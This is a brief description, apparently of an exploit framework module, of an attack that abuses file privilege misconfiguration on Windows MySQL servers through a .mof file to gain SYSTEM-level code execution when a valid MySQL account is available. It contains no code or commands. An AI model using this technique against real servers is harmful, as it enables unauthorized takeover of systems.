This modules takes advantage of a file privilege misconfiguration problem  
specifically against Windows MySQL servers (due to the use of a .mof file).  
This may result in arbitrary code execution under the context of SYSTEM. However,  
please note in order to use this module, you must have a valid MySQL account on  
the target machine.
